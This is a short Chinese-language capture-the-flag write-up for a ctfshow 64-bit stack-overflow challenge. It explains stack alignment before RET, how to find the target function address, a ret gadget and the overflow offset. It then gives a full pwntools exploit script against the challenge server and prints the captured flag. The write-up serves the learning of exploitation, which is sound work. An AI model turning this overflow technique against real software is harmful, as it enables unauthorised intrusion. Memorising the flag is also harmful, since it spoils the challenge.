堆栈平衡:
当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。
简单检查一下,发现是64位程序
同样放进IDA反编译main函数,得到伪代码
只有一个welcome函数,双击跟进
存在栈溢出
我们开始找需要利用的函数的地址(函数开始的地址)
400577
对于32位程序我们只需要这个地址;
但是对于64位程序,我们还需要找 lev 的地址或者该函数结束即 retn 的地址
40057B 或者 40058E 都可以,构造payload时将该地址放在函数开始地址之前
我们再找距离 (造成栈溢出的函数到栈底的距离)
32位里我们找的ebp,64位里叫rbp
这里是C,十六进制的C也就是12
我们前面说过,距离还需要再加上栈底的字节大小,32位是加4,64位是加8
同样这里主函数没有输出东西,因此不需要调用接收函数
编写exp脚本:
from pwn import * p =remote("pwn.challenge.ctf.show",28138) payload = b"a" * (0xC+8)+ p64(0x40058E) + p64(0x400577) p.send(payload) p.interactive()
#使用40057B也是可以的,前面也可以将结果加出来,C就是12,12+8=20,换成16进制就是0x14
使用python运行脚本
执行命令拿到flag
ctfshow{91ec74ab-3b94-4848-8495-2889971c5a1b}